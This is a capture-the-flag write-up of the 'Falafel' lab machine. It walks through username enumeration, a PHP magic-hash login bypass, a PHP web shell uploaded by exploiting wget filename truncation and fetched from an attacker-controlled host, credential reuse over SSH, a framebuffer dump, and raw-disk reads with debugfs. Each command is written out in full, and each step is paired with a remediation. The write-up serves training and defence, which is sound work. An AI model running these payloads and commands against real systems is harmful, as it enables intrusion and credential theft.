Falafel
Summary
I targeted an Ubuntu server running Apache 2.4.18 and a custom PHP 'Falafel Lovers' web application. Differing login-page error messages confirmed 'admin' as a registered username. PHP's loose equality operator in the authentication routine was bypassed with a well-known magic-hash value, granting an admin session without the real password.
The authenticated file-upload feature fetched my own URLs via server-side wget; a filename padded beyond 232 characters caused wget to silently truncate the saved name and strip the safe '.png' extension, while Apache's double-extension configuration still executed any file containing '.php' as PHP code, delivering a web shell as www-data. A hardcoded database password found in the application's config file was also set as the SSH password for local user moshe, pivoting from the web process to an interactive shell and the user flag. From moshe's session, membership in the video group permitted reading the raw Linux framebuffer device /dev/fb0; reconstructing the memory dump as an image revealed user yossi's password displayed on screen in plain text.
Yossi belonged to the disk group, granting raw read access to the root block device /dev/sda1. The debugfs utility read the root flag directly from the ext4 filesystem, bypassing all file-permission enforcement and completing full compromise without ever holding an interactive root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for yossi>"
export PASSWORD2="<the-password-you-recovered, for moshe>"
export PASSWORD3="<the-password-you-recovered, for admin over curl>"
export PASSWORD4="<the-password-you-recovered, for admin over curl>"
export HASH="<the-hash-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path: how the box was taken
Exact commands 4
Add the vhost to local resolution.
$ echo "$TARGET falafel.htb" | sudo tee -a /etc/hostsDiscover login.php, upload.php, uploads/.
$ ffuf -u http://falafel.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,307,401,403 -t 40 -sObserve 'Wrong identification': confirms admin exists.
$ curl -s -i -X POST -d "username=admin&password=$PASSWORD3" http://falafel.htb/login.phpObserve 'Try again..': different message proves the oracle.
$ curl -s -i -X POST -d "username=doesnotexist&password=$PASSWORD3" http://falafel.htb/login.phpFixReturn a single generic error message for all failed login attemptsMedium
Exact commands 1
$PASSWORD4 → MD5 $HASH; PHP == treats 0e… == 0e… as 0==0. Session saved to cookie.txt.
$ curl -sS -i -c cookie.txt -b cookie.txt http://falafel.htb/login.php -d "username=admin&password=$PASSWORD4"FixReplace loose PHP equality with strict equality in all authentication comparisonsCritical
Exact commands 4
Create the payload file; 232 padding characters cause wget to truncate away .png on the server.
$ python3 -c "open('c'*232+'.php.png','w').write('<?php system(\$_GET[\"cmd\"]); ?>')"Serve the payload from my machine (run in background).
$ python3 -m http.server 8002Trigger server-side wget; note the token directory printed in the response (e.g. 0710-1451_7c60d391298269c5).
$ PAYLOAD=$(python3 -c "print('c'*232+'.php.png')"); curl -sS -b cookie.txt http://falafel.htb/upload.php -d "url=http://$ATTACKER_IP:8002/${PAYLOAD}"Confirm RCE: response should include uid=33(www-data).
$ TOKEN=$TOKEN; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://falafel.htb/uploads/${TOKEN}/${SHELL}?cmd=id"FixRemove server-side URL fetch from the upload feature and enforce strict single-extension validationCritical
Exact commands 2
Read the database config through the web shell: look for hardcoded DB password.
$ TOKEN=$TOKEN; SHELL=$(python3 -c "print('c'*232+'.php')"); curl -s "http://falafel.htb/uploads/${TOKEN}/${SHELL}?cmd=cat+/var/www/html/connection.php"SSH as moshe using reused credential; captures <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'id; cat /home/moshe/user.txt'
uid=1001(moshe)FixRemove hardcoded credentials from source code and enforce unique passwords per serviceHigh
Exact commands 2
Pull the raw framebuffer over SSH; file size will be ~4 MB (1176×885×4 bytes).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null moshe@$TARGET 'cat /dev/fb0' > /tmp/falafel_fb.rawRender BGRA. If colours look wrong, also try: convert -size 1176x885 -depth 8 rgba:/tmp/falafel_fb.raw /tmp/falafel_fb_rgba.png
$ convert -size 1176x885 -depth 8 bgra:/tmp/falafel_fb.raw /tmp/falafel_fb_bgra.pngFixRemove non-administrative users from the video group to prevent framebuffer accessHigh
Exact commands 2
Confirm yossi's disk group membership and identify the root partition (typically /dev/sda1).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET 'id; mount'Read root.txt directly from the raw ext4 filesystem, bypassing all file-permission checks. Returns <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null yossi@$TARGET "debugfs -R 'cat /root/root.txt' /dev/sda1 2>/dev/null"FixRemove non-administrative users from the disk group to eliminate raw block-device accessCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.